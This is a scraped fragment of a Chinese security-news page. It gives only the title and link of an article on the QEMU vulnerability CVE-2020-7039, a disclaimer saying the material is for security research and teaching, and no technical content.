                   【技术干货】QEMU-CVE-2020-7039https://cn-sec.com/archives/690330.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息